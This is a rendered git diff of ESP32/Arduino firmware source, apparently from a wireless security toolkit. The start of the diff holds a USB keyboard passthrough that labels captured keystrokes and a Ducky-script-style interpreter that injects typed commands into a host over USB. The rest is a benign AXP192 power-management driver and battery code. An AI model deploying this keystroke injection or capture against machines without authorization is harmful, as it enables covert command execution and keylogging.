case NUM_LOCK: return "<NUM_LOCK>"; break; // NUM LOCK
|
||||
case SCROLL_LOCK: return "<SCROLL_LOCK>"; break; // SCROLL LOCK
|
||||
case PRINT_SCREEN: return "<PRINT_SCREEN>"; break; // PRINT SCREEN
|
||||
//case NUM_1 : if (num_lock) return "<NUM_1>"; break;
|
||||
//case NUM_2 : if (num_lock) return "<NUM_2>"; break;
|
||||
//case NUM_3 : if (num_lock) return "<NUM_3>"; break;
|
||||
//case NUM_4 : if (num_lock) return "<NUM_4>"; break;
|
||||
//case NUM_5 : if (num_lock) return "<NUM_5>"; break;
|
||||
//case NUM_6 : if (num_lock) return "<NUM_6>"; break;
|
||||
//case NUM_7 : if (num_lock) return "<NUM_7>"; break;
|
||||
//case NUM_8 : if (num_lock) return "<NUM_8>"; break;
|
||||
//case NUM_9 : if (num_lock) return "<NUM_9>"; break;
|
||||
//case NUM_0 : if (num_lock) return "<NUM_0>"; break;
|
||||
case 0x2C: return " "; break;
|
||||
case 40: return "<RETURN>\n"; break;
|
||||
case 41: return "<ESC>\n"; break;
|
||||
case 42: return "<BACKSPCAE>"; break;
|
||||
case 43: return "<TAB>\n"; break;
|
||||
case 58: return "<F1>\n"; break;
|
||||
case 59: return "<F2>\n"; break;
|
||||
case 60: return "<F3>\n"; break;
|
||||
case 61: return "<F4>\n"; break;
|
||||
case 62: return "<F5>\n"; break;
|
||||
case 63: return "<F6>\n"; break;
|
||||
case 64: return "<F7>\n"; break;
|
||||
case 65: return "<F8>\n"; break;
|
||||
case 66: return "<F9>\n"; break;
|
||||
case 67: return "<F10>\n"; break;
|
||||
case 68: return "<F11>\n"; break;
|
||||
case 69: return "<F12>\n"; break;
|
||||
case 73: return "<INSERT>"; break;
|
||||
case 74: return "<HOME>\n"; break;
|
||||
case 75: return "<PAGE_UP>\n"; break;
|
||||
case 76: return "<DELETE>"; break;
|
||||
case 77: return "<END>\n"; break;
|
||||
case 78: return "<PAGE_DOWN>\n"; break;
|
||||
case 79: return "<RIGHT_ARROW>\n"; break;
|
||||
case 80: return "<LEFT_ARROW>\n"; break;
|
||||
case 81: return "<DOWN_ARROW>\n"; break;
|
||||
case 82: return "<UP_ARROW>\n"; break;
|
||||
case 88: return "<RETURN>\n"; break;
|
||||
//=====[DE-Keyboard]=====//
|
||||
case 0x64: {
|
||||
if(shift) return "<";
|
||||
else return ">";
|
||||
break;
|
||||
}
|
||||
case 0x32:{
|
||||
if(shift) return "'";
|
||||
else return "#";
|
||||
break;
|
||||
}
|
||||
//======================//
|
||||
default: {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void KbdRptParser::_press(uint8_t key){
|
||||
/*Serial.print("0x");
|
||||
Serial.print(key, HEX);
|
||||
Serial.println(" DOWN");*/
|
||||
Keyboard.press(key);
|
||||
}
|
||||
|
||||
void KbdRptParser::_release(uint8_t key){
|
||||
/*Serial.print("0x");
|
||||
Serial.print(key, HEX);
|
||||
Serial.println(" UP");
|
||||
Serial.println();*/
|
||||
Keyboard.release(key);
|
||||
}
|
||||
|
||||
KbdRptParser parser;
|
||||
|
||||
void Line(String _line)
|
||||
{
|
||||
int firstSpace = _line.indexOf(" ");
|
||||
if(firstSpace == -1) Press(_line);
|
||||
else if(_line.substring(0,firstSpace) == "STRING"){
|
||||
for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]);
|
||||
}
|
||||
else if(_line.substring(0,firstSpace) == "DELAY"){
|
||||
int delaytime = _line.substring(firstSpace + 1).toInt();
|
||||
delay(delaytime);
|
||||
}
|
||||
else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt();
|
||||
else if(_line.substring(0,firstSpace) == "REM"){} //nothing :/
|
||||
else if(_line.substring(0,firstSpace) == "REPLAY") {
|
||||
int replaynum = _line.substring(firstSpace + 1).toInt();
|
||||
while(replaynum)
|
||||
{
|
||||
Line(last);
|
||||
--replaynum;
|
||||
}
|
||||
} else{
|
||||
String remain = _line;
|
||||
|
||||
while(remain.length() > 0){
|
||||
int latest_space = remain.indexOf(" ");
|
||||
if (latest_space == -1){
|
||||
Press(remain);
|
||||
remain = "";
|
||||
}
|
||||
else{
|
||||
Press(remain.substring(0, latest_space));
|
||||
remain = remain.substring(latest_space + 1);
|
||||
}
|
||||
delay(5);
|
||||
}
|
||||
}
|
||||
|
||||
Keyboard.releaseAll();
|
||||
delay(defaultDelay);
|
||||
}
|
||||
|
||||
|
||||
void Press(String b){
|
||||
if(b.length() == 1) Keyboard.press(char(b[0]));
|
||||
else if (b.equals("ENTER")) Keyboard.press(KEY_RETURN);
|
||||
else if (b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL);
|
||||
else if (b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT);
|
||||
else if (b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT);
|
||||
else if (b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI);
|
||||
else if (b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW);
|
||||
else if (b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW);
|
||||
else if (b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW);
|
||||
else if (b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW);
|
||||
else if (b.equals("DELETE")) Keyboard.press(KEY_DELETE);
|
||||
else if (b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP);
|
||||
else if (b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN);
|
||||
else if (b.equals("HOME")) Keyboard.press(KEY_HOME);
|
||||
else if (b.equals("ESC")) Keyboard.press(KEY_ESC);
|
||||
else if (b.equals("BACKSPACE")) Keyboard.press(KEY_BACKSPACE);
|
||||
else if (b.equals("INSERT")) Keyboard.press(KEY_INSERT);
|
||||
else if (b.equals("TAB")) Keyboard.press(KEY_TAB);
|
||||
else if (b.equals("END")) Keyboard.press(KEY_END);
|
||||
else if (b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK);
|
||||
else if (b.equals("F1")) Keyboard.press(KEY_F1);
|
||||
else if (b.equals("F2")) Keyboard.press(KEY_F2);
|
||||
else if (b.equals("F3")) Keyboard.press(KEY_F3);
|
||||
else if (b.equals("F4")) Keyboard.press(KEY_F4);
|
||||
else if (b.equals("F5")) Keyboard.press(KEY_F5);
|
||||
else if (b.equals("F6")) Keyboard.press(KEY_F6);
|
||||
else if (b.equals("F7")) Keyboard.press(KEY_F7);
|
||||
else if (b.equals("F8")) Keyboard.press(KEY_F8);
|
||||
else if (b.equals("F9")) Keyboard.press(KEY_F9);
|
||||
else if (b.equals("F10")) Keyboard.press(KEY_F10);
|
||||
else if (b.equals("F11")) Keyboard.press(KEY_F11);
|
||||
else if (b.equals("F12")) Keyboard.press(KEY_F12);
|
||||
else if (b.equals("SPACE")) Keyboard.press(' ');
|
||||
//else Serial.println("not found :'"+b+"'("+String(b.length())+")");
|
||||
}
|
||||
|
||||
|
||||
void setup()
|
||||
{
|
||||
Serial.begin(115200);
|
||||
//Serial1.begin(115200);
|
||||
Keyboard.begin();
|
||||
delay(2000);
|
||||
|
||||
pinMode(LED_BUILTIN, OUTPUT);
|
||||
|
||||
// Turn signal LED off
|
||||
digitalWrite(LED_BUILTIN, LOW);
|
||||
|
||||
//Serial1.println("\n\nLogging keys...\n");
|
||||
/*
|
||||
for(int i=0;i<256;i++){
|
||||
|
||||
int key = parser._parse(i);
|
||||
if(key == i){
|
||||
Keyboard.print((String)i+" ");
|
||||
Keyboard.write(i);
|
||||
delay(200);
|
||||
Keyboard.write(KEY_RETURN);
|
||||
}
|
||||
}*/
|
||||
|
||||
if(Usb.Init() == -1) Serial.println("OSC did not start.");
|
||||
|
||||
delay(200);
|
||||
|
||||
next_time = millis() + 5000;
|
||||
|
||||
HidKeyboard.SetReportParser(0, &parser);
|
||||
|
||||
}
|
||||
|
||||
void loop(){
|
||||
Usb.Task();
|
||||
|
||||
if(Serial.available()) {
|
||||
bufferStr = Serial.readStringUntil("END");
|
||||
//Serial.println(bufferStr);
|
||||
}
|
||||
|
||||
if(bufferStr.length() > 0){
|
||||
|
||||
bufferStr.replace("\r","\n");
|
||||
bufferStr.replace("\n\n","\n");
|
||||
|
||||
while(bufferStr.length() > 0){
|
||||
int latest_return = bufferStr.indexOf("\n");
|
||||
if(latest_return == -1){
|
||||
//Serial.println("run: "+bufferStr);
|
||||
Line(bufferStr);
|
||||
bufferStr = "";
|
||||
} else{
|
||||
//Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'");
|
||||
Line(bufferStr.substring(0, latest_return));
|
||||
last=bufferStr.substring(0, latest_return);
|
||||
bufferStr = bufferStr.substring(latest_return + 1);
|
||||
}
|
||||
}
|
||||
|
||||
bufferStr = "";
|
||||
Serial.write(0x99);
|
||||
//Serial.println("done");
|
||||
}
|
||||
}
|
||||
435
esp32_marauder/AXP192.cpp
Normal file
435
esp32_marauder/AXP192.cpp
Normal file
@@ -0,0 +1,435 @@
|
||||
#include "AXP192.h"
|
||||
|
||||
AXP192::AXP192() {
|
||||
}
|
||||
|
||||
void AXP192::begin(void) {
|
||||
Wire1.begin(21, 22);
|
||||
Wire1.setClock(400000);
|
||||
|
||||
// Set LDO2 & LDO3(TFT_LED & TFT) 3.0V
|
||||
Write1Byte(0x28, 0xcc);
|
||||
|
||||
// Set ADC to All Enable
|
||||
Write1Byte(0x82, 0xff);
|
||||
|
||||
// Bat charge voltage to 4.2, Current 100MA
|
||||
Write1Byte(0x33, 0xc0);
|
||||
|
||||
// Enable Bat,ACIN,VBUS,APS adc
|
||||
Write1Byte(0x82, 0xff);
|
||||
|
||||
// Enable Ext, LDO2, LDO3, DCDC1
|
||||
Write1Byte(0x12, Read8bit(0x12) | 0x4D);
|
||||
|
||||
// 128ms power on, 4s power off
|
||||
Write1Byte(0x36, 0x0C);
|
||||
|
||||
// Set RTC voltage to 3.3V
|
||||
Write1Byte(0x91, 0xF0);
|
||||
|
||||
// Set GPIO0 to LDO
|
||||
Write1Byte(0x90, 0x02);
|
||||
|
||||
// Disable vbus hold limit
|
||||
Write1Byte(0x30, 0x80);
|
||||
|
||||
// Set temperature protection
|
||||
Write1Byte(0x39, 0xfc);
|
||||
|
||||
// Enable RTC BAT charge
|
||||
Write1Byte(0x35, 0xa2);
|
||||
|
||||
// Enable bat detection
|
||||
Write1Byte(0x32, 0x46);
|
||||
|
||||
// ScreenBreath(80);
|
||||
}
|
||||
|
||||
void AXP192::Write1Byte(uint8_t Addr, uint8_t Data) {
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.write(Data);
|
||||
Wire1.endTransmission();
|
||||
}
|
||||
|
||||
uint8_t AXP192::Read8bit(uint8_t Addr) {
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, 1);
|
||||
return Wire1.read();
|
||||
}
|
||||
|
||||
uint16_t AXP192::Read12Bit(uint8_t Addr) {
|
||||
uint16_t Data = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(Addr, 2, buf);
|
||||
Data = ((buf[0] << 4) + buf[1]); //
|
||||
return Data;
|
||||
}
|
||||
|
||||
uint16_t AXP192::Read13Bit(uint8_t Addr) {
|
||||
uint16_t Data = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(Addr, 2, buf);
|
||||
Data = ((buf[0] << 5) + buf[1]); //
|
||||
return Data;
|
||||
}
|
||||
|
||||
uint16_t AXP192::Read16bit(uint8_t Addr) {
|
||||
uint16_t ReData = 0;
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, 2);
|
||||
for (int i = 0; i < 2; i++) {
|
||||
ReData <<= 8;
|
||||
ReData |= Wire1.read();
|
||||
}
|
||||
return ReData;
|
||||
}
|
||||
|
||||
uint32_t AXP192::Read24bit(uint8_t Addr) {
|
||||
uint32_t ReData = 0;
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, 3);
|
||||
for (int i = 0; i < 3; i++) {
|
||||
ReData <<= 8;
|
||||
ReData |= Wire1.read();
|
||||
}
|
||||
return ReData;
|
||||
}
|
||||
|
||||
uint32_t AXP192::Read32bit(uint8_t Addr) {
|
||||
uint32_t ReData = 0;
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, 4);
|
||||
for (int i = 0; i < 4; i++) {
|
||||
ReData <<= 8;
|
||||
ReData |= Wire1.read();
|
||||
}
|
||||
return ReData;
|
||||
}
|
||||
|
||||
void AXP192::ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff) {
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(Addr);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, (int)Size);
|
||||
for (int i = 0; i < Size; i++) {
|
||||
*(Buff + i) = Wire1.read();
|
||||
}
|
||||
}
|
||||
|
||||
void AXP192::ScreenBreath(int brightness) {
|
||||
if (brightness > 100 || brightness < 0) return;
|
||||
int vol = map(brightness, 0, 100, 2500, 3200);
|
||||
vol = (vol < 1800) ? 0 : (vol - 1800) / 100;
|
||||
uint8_t buf = Read8bit(0x28);
|
||||
Write1Byte(0x28, ((buf & 0x0f) | ((uint16_t)vol << 4)));
|
||||
}
|
||||
|
||||
void AXP192::ScreenSwitch(bool state) {
|
||||
uint8_t brightness;
|
||||
if (state == false) {
|
||||
brightness = 0;
|
||||
} else if (state == true) {
|
||||
brightness = 12;
|
||||
}
|
||||
uint8_t buf = Read8bit(0x28);
|
||||
Write1Byte(0x28, ((buf & 0x0f) | (brightness << 4)));
|
||||
}
|
||||
|
||||
bool AXP192::GetBatState() {
|
||||
if (Read8bit(0x01) | 0x20)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
//---------coulombcounter_from_here---------
|
||||
// enable: void EnableCoulombcounter(void);
|
||||
// disable: void DisableCOulombcounter(void);
|
||||
// stop: void StopCoulombcounter(void);
|
||||
// clear: void ClearCoulombcounter(void);
|
||||
// get charge data: uint32_t GetCoulombchargeData(void);
|
||||
// get discharge data: uint32_t GetCoulombdischargeData(void);
|
||||
// get coulomb val affter calculation: float GetCoulombData(void);
|
||||
//------------------------------------------
|
||||
void AXP192::EnableCoulombcounter(void) {
|
||||
Write1Byte(0xB8, 0x80);
|
||||
}
|
||||
|
||||
void AXP192::DisableCoulombcounter(void) {
|
||||
Write1Byte(0xB8, 0x00);
|
||||
}
|
||||
|
||||
void AXP192::StopCoulombcounter(void) {
|
||||
Write1Byte(0xB8, 0xC0);
|
||||
}
|
||||
|
||||
void AXP192::ClearCoulombcounter(void) {
|
||||
Write1Byte(0xB8, 0xA0);
|
||||
}
|
||||
|
||||
uint32_t AXP192::GetCoulombchargeData(void) {
|
||||
return Read32bit(0xB0);
|
||||
}
|
||||
|
||||
uint32_t AXP192::GetCoulombdischargeData(void) {
|
||||
return Read32bit(0xB4);
|
||||
}
|
||||
|
||||
float AXP192::GetCoulombData(void) {
|
||||
uint32_t coin = 0;
|
||||
uint32_t coout = 0;
|
||||
|
||||
coin = GetCoulombchargeData();
|
||||
coout = GetCoulombdischargeData();
|
||||
|
||||
// c = 65536 * current_LSB * (coin - coout) / 3600 / ADC rate
|
||||
// Adc rate can be read from 84H ,change this variable if you change the ADC
|
||||
// reate
|
||||
float ccc = 65536 * 0.5 * (int32_t)(coin - coout) / 3600.0 / 25.0;
|
||||
|
||||
return ccc;
|
||||
}
|
||||
//----------coulomb_end_at_here----------
|
||||
|
||||
uint16_t AXP192::GetVbatData(void) {
|
||||
uint16_t vbat = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x78, 2, buf);
|
||||
vbat = ((buf[0] << 4) + buf[1]); // V
|
||||
return vbat;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetVinData(void) {
|
||||
uint16_t vin = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x56, 2, buf);
|
||||
vin = ((buf[0] << 4) + buf[1]); // V
|
||||
return vin;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetIinData(void) {
|
||||
uint16_t iin = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x58, 2, buf);
|
||||
iin = ((buf[0] << 4) + buf[1]);
|
||||
return iin;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetVusbinData(void) {
|
||||
uint16_t vin = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x5a, 2, buf);
|
||||
vin = ((buf[0] << 4) + buf[1]); // V
|
||||
return vin;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetIusbinData(void) {
|
||||
uint16_t iin = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x5C, 2, buf);
|
||||
iin = ((buf[0] << 4) + buf[1]);
|
||||
return iin;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetIchargeData(void) {
|
||||
uint16_t icharge = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x7A, 2, buf);
|
||||
icharge = (buf[0] << 5) + buf[1];
|
||||
return icharge;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetIdischargeData(void) {
|
||||
uint16_t idischarge = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x7C, 2, buf);
|
||||
idischarge = (buf[0] << 5) + buf[1];
|
||||
return idischarge;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetTempData(void) {
|
||||
uint16_t temp = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x5e, 2, buf);
|
||||
temp = ((buf[0] << 4) + buf[1]);
|
||||
return temp;
|
||||
}
|
||||
|
||||
uint32_t AXP192::GetPowerbatData(void) {
|
||||
uint32_t power = 0;
|
||||
uint8_t buf[3];
|
||||
ReadBuff(0x70, 2, buf);
|
||||
power = (buf[0] << 16) + (buf[1] << 8) + buf[2];
|
||||
return power;
|
||||
}
|
||||
|
||||
uint16_t AXP192::GetVapsData(void) {
|
||||
uint16_t vaps = 0;
|
||||
uint8_t buf[2];
|
||||
ReadBuff(0x7e, 2, buf);
|
||||
vaps = ((buf[0] << 4) + buf[1]);
|
||||
return vaps;
|
||||
}
|
||||
|
||||
void AXP192::SetSleep(void) {
|
||||
uint8_t buf = Read8bit(0x31);
|
||||
buf = (1 << 3) | buf;
|
||||
Write1Byte(0x31, buf);
|
||||
Write1Byte(0x90, 0x00);
|
||||
Write1Byte(0x12, 0x09);
|
||||
// Write1Byte(0x12, 0x00);
|
||||
Write1Byte(0x12, Read8bit(0x12) & 0xA1); // Disable all outputs but DCDC1
|
||||
}
|
||||
|
||||
uint8_t AXP192::GetWarningLeve(void) {
|
||||
Wire1.beginTransmission(0x34);
|
||||
Wire1.write(0x47);
|
||||
Wire1.endTransmission();
|
||||
Wire1.requestFrom(0x34, 1);
|
||||
uint8_t buf = Wire1.read();
|
||||
return (buf & 0x01);
|
||||
}
|
||||
|
||||
// -- sleep
|
||||
void AXP192::DeepSleep(uint64_t time_in_us) {
|
||||
SetSleep();
|
||||
|
||||
if (time_in_us > 0) {
|
||||
esp_sleep_enable_timer_wakeup(time_in_us);
|
||||
} else {
|
||||
esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
|
||||
}
|
||||
(time_in_us == 0) ? esp_deep_sleep_start() : esp_deep_sleep(time_in_us);
|
||||
}
|
||||
|
||||
void AXP192::LightSleep(uint64_t time_in_us) {
|
||||
SetSleep();
|
||||
|
||||
if (time_in_us > 0) {
|
||||
esp_sleep_enable_timer_wakeup(time_in_us);
|
||||
} else {
|
||||
esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
|
||||
}
|
||||
esp_light_sleep_start();
|
||||
}
|
||||
|
||||
// 0 not press, 0x01 long press, 0x02 press
|
||||
uint8_t AXP192::GetBtnPress() {
|
||||
uint8_t state = Read8bit(0x46);
|
||||
if (state) {
|
||||
Write1Byte(0x46, 0x03);
|
||||
}
|
||||
return state;
|
||||
}
|
||||
|
||||
uint8_t AXP192::GetWarningLevel(void) {
|
||||
return Read8bit(0x47) & 0x01;
|
||||
}
|
||||
|
||||
float AXP192::GetBatVoltage() {
|
||||
float ADCLSB = 1.1 / 1000.0;
|
||||
uint16_t ReData = Read12Bit(0x78);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetBatCurrent() {
|
||||
float ADCLSB = 0.5;
|
||||
uint16_t CurrentIn = Read13Bit(0x7A);
|
||||
uint16_t CurrentOut = Read13Bit(0x7C);
|
||||
return (CurrentIn - CurrentOut) * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetVinVoltage() {
|
||||
float ADCLSB = 1.7 / 1000.0;
|
||||
uint16_t ReData = Read12Bit(0x56);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetVinCurrent() {
|
||||
float ADCLSB = 0.625;
|
||||
uint16_t ReData = Read12Bit(0x58);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetVBusVoltage() {
|
||||
float ADCLSB = 1.7 / 1000.0;
|
||||
uint16_t ReData = Read12Bit(0x5A);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetVBusCurrent() {
|
||||
float ADCLSB = 0.375;
|
||||
uint16_t ReData = Read12Bit(0x5C);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetTempInAXP192() {
|
||||
float ADCLSB = 0.1;
|
||||
const float OFFSET_DEG_C = -144.7;
|
||||
uint16_t ReData = Read12Bit(0x5E);
|
||||
return OFFSET_DEG_C + ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetBatPower() {
|
||||
float VoltageLSB = 1.1;
|
||||
float CurrentLCS = 0.5;
|
||||
uint32_t ReData = Read24bit(0x70);
|
||||
return VoltageLSB * CurrentLCS * ReData / 1000.0;
|
||||
}
|
||||
|
||||
float AXP192::GetBatChargeCurrent() {
|
||||
float ADCLSB = 0.5;
|
||||
uint16_t ReData = Read12Bit(0x7A);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
float AXP192::GetAPSVoltage() {
|
||||
float ADCLSB = 1.4 / 1000.0;
|
||||
uint16_t ReData = Read12Bit(0x7E);
|
||||
return ReData * ADCLSB;
|
||||
}
|
||||
|
||||
float AXP192::GetBatCoulombInput() {
|
||||
uint32_t ReData = Read32bit(0xB0);
|
||||
return ReData * 65536 * 0.5 / 3600 / 25.0;
|
||||
}
|
||||
|
||||
float AXP192::GetBatCoulombOut() {
|
||||
uint32_t ReData = Read32bit(0xB4);
|
||||
return ReData * 65536 * 0.5 / 3600 / 25.0;
|
||||
}
|
||||
|
||||
void AXP192::SetCoulombClear() {
|
||||
Write1Byte(0xB8, 0x20);
|
||||
}
|
||||
|
||||
void AXP192::SetLDO2(bool State) {
|
||||
uint8_t buf = Read8bit(0x12);
|
||||
if (State == true)
|
||||
buf = (1 << 2) | buf;
|
||||
else
|
||||
buf = ~(1 << 2) & buf;
|
||||
Write1Byte(0x12, buf);
|
||||
}
|
||||
|
||||
// Cut all power, except for LDO1 (RTC)
|
||||
void AXP192::PowerOff() {
|
||||
Write1Byte(0x32, Read8bit(0x32) | 0x80); // MSB for Power Off
|
||||
}
|
||||
|
||||
void AXP192::SetPeripherialsPower(uint8_t state) {
|
||||
if (!state)
|
||||
Write1Byte(0x10, Read8bit(0x10) & 0XFB);
|
||||
else if (state)
|
||||
Write1Byte(0x10, Read8bit(0x10) | 0X04);
|
||||
// uint8_t data;
|
||||
// Set EXTEN to enable 5v boost
|
||||
}
|
||||
81
esp32_marauder/AXP192.h
Normal file
81
esp32_marauder/AXP192.h
Normal file
@@ -0,0 +1,81 @@
|
||||
#ifndef __AXP192_H__
|
||||
#define __AXP192_H__
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <Wire.h>
|
||||
|
||||
#define SLEEP_MSEC(us) (((uint64_t)us) * 1000L)
|
||||
#define SLEEP_SEC(us) (((uint64_t)us) * 1000000L)
|
||||
#define SLEEP_MIN(us) (((uint64_t)us) * 60L * 1000000L)
|
||||
#define SLEEP_HR(us) (((uint64_t)us) * 60L * 60L * 1000000L)
|
||||
|
||||
class AXP192 {
|
||||
public:
|
||||
AXP192();
|
||||
void begin(void);
|
||||
void ScreenBreath(int brightness);
|
||||
void ScreenSwitch(bool state);
|
||||
|
||||
bool GetBatState();
|
||||
|
||||
void EnableCoulombcounter(void);
|
||||
void DisableCoulombcounter(void);
|
||||
void StopCoulombcounter(void);
|
||||
void ClearCoulombcounter(void);
|
||||
uint32_t GetCoulombchargeData(void);
|
||||
uint32_t GetCoulombdischargeData(void);
|
||||
float GetCoulombData(void);
|
||||
|
||||
uint16_t GetVbatData(void) __attribute__((deprecated));
|
||||
uint16_t GetIchargeData(void) __attribute__((deprecated));
|
||||
uint16_t GetIdischargeData(void) __attribute__((deprecated));
|
||||
uint16_t GetTempData(void) __attribute__((deprecated));
|
||||
uint32_t GetPowerbatData(void) __attribute__((deprecated));
|
||||
uint16_t GetVinData(void) __attribute__((deprecated));
|
||||
uint16_t GetIinData(void) __attribute__((deprecated));
|
||||
uint16_t GetVusbinData(void) __attribute__((deprecated));
|
||||
uint16_t GetIusbinData(void) __attribute__((deprecated));
|
||||
uint16_t GetVapsData(void) __attribute__((deprecated));
|
||||
uint8_t GetBtnPress(void);
|
||||
|
||||
// -- sleep
|
||||
void SetSleep(void);
|
||||
void DeepSleep(uint64_t time_in_us = 0);
|
||||
void LightSleep(uint64_t time_in_us = 0);
|
||||
uint8_t GetWarningLeve(void);
|
||||
|
||||
public:
|
||||
// void SetChargeVoltage( uint8_t );
|
||||
// void SetChargeCurrent( uint8_t );
|
||||
float GetBatVoltage();
|
||||
float GetBatCurrent();
|
||||
float GetVinVoltage();
|
||||
float GetVinCurrent();
|
||||
float GetVBusVoltage();
|
||||
float GetVBusCurrent();
|
||||
float GetTempInAXP192();
|
||||
float GetBatPower();
|
||||
float GetBatChargeCurrent();
|
||||
float GetAPSVoltage();
|
||||
float GetBatCoulombInput();
|
||||
float GetBatCoulombOut();
|
||||
uint8_t GetWarningLevel(void);
|
||||
void SetCoulombClear();
|
||||
void SetLDO2(bool State);
|
||||
void SetPeripherialsPower(uint8_t state);
|
||||
|
||||
// -- Power Off
|
||||
void PowerOff();
|
||||
|
||||
public:
|
||||
void Write1Byte(uint8_t Addr, uint8_t Data);
|
||||
uint8_t Read8bit(uint8_t Addr);
|
||||
uint16_t Read12Bit(uint8_t Addr);
|
||||
uint16_t Read13Bit(uint8_t Addr);
|
||||
uint16_t Read16bit(uint8_t Addr);
|
||||
uint32_t Read24bit(uint8_t Addr);
|
||||
uint32_t Read32bit(uint8_t Addr);
|
||||
void ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff);
|
||||
};
|
||||
|
||||
#endif
|
||||
File diff suppressed because one or more lines are too long
@@ -5,45 +5,39 @@ BatteryInterface::BatteryInterface() {
|
||||
}
|
||||
|
||||
void BatteryInterface::main(uint32_t currentTime) {
|
||||
#ifndef MARAUDER_FLIPPER
|
||||
if (currentTime != 0) {
|
||||
if (currentTime - initTime >= 3000) {
|
||||
//Serial.println("Checking Battery Level");
|
||||
this->initTime = millis();
|
||||
int8_t new_level = this->getBatteryLevel();
|
||||
//this->battery_level = this->getBatteryLevel();
|
||||
if (this->battery_level != new_level) {
|
||||
Serial.println(text00 + (String)new_level);
|
||||
this->battery_level = new_level;
|
||||
}
|
||||
if (currentTime != 0) {
|
||||
if (currentTime - initTime >= 3000) {
|
||||
//Serial.println("Checking Battery Level");
|
||||
this->initTime = millis();
|
||||
int8_t new_level = this->getBatteryLevel();
|
||||
//this->battery_level = this->getBatteryLevel();
|
||||
if (this->battery_level != new_level) {
|
||||
Serial.println(text00 + (String)new_level);
|
||||
this->battery_level = new_level;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void BatteryInterface::RunSetup() {
|
||||
#ifndef MARAUDER_FLIPPER
|
||||
Wire.begin(I2C_SDA, I2C_SCL);
|
||||
this->initTime = millis();
|
||||
#endif
|
||||
Wire.begin(I2C_SDA, I2C_SCL);
|
||||
this->initTime = millis();
|
||||
}
|
||||
|
||||
int8_t BatteryInterface::getBatteryLevel() {
|
||||
#ifndef MARAUDER_FLIPPER
|
||||
Wire.beginTransmission(IP5306_ADDR);
|
||||
Wire.write(0x78);
|
||||
if (Wire.endTransmission(false) == 0 &&
|
||||
Wire.requestFrom(0x75, 1)) {
|
||||
this->i2c_supported = true;
|
||||
switch (Wire.read() & 0xF0) {
|
||||
case 0xE0: return 25;
|
||||
case 0xC0: return 50;
|
||||
case 0x80: return 75;
|
||||
case 0x00: return 100;
|
||||
default: return 0;
|
||||
}
|
||||
Wire.beginTransmission(IP5306_ADDR);
|
||||
Wire.write(0x78);
|
||||
if (Wire.endTransmission(false) == 0 &&
|
||||
Wire.requestFrom(0x75, 1)) {
|
||||
this->i2c_supported = true;
|
||||
switch (Wire.read() & 0xF0) {
|
||||
case 0xE0: return 25;
|
||||
case 0xC0: return 50;
|
||||
case 0x80: return 75;
|
||||
case 0x00: return 100;
|
||||
default: return 0;
|
||||
}
|
||||
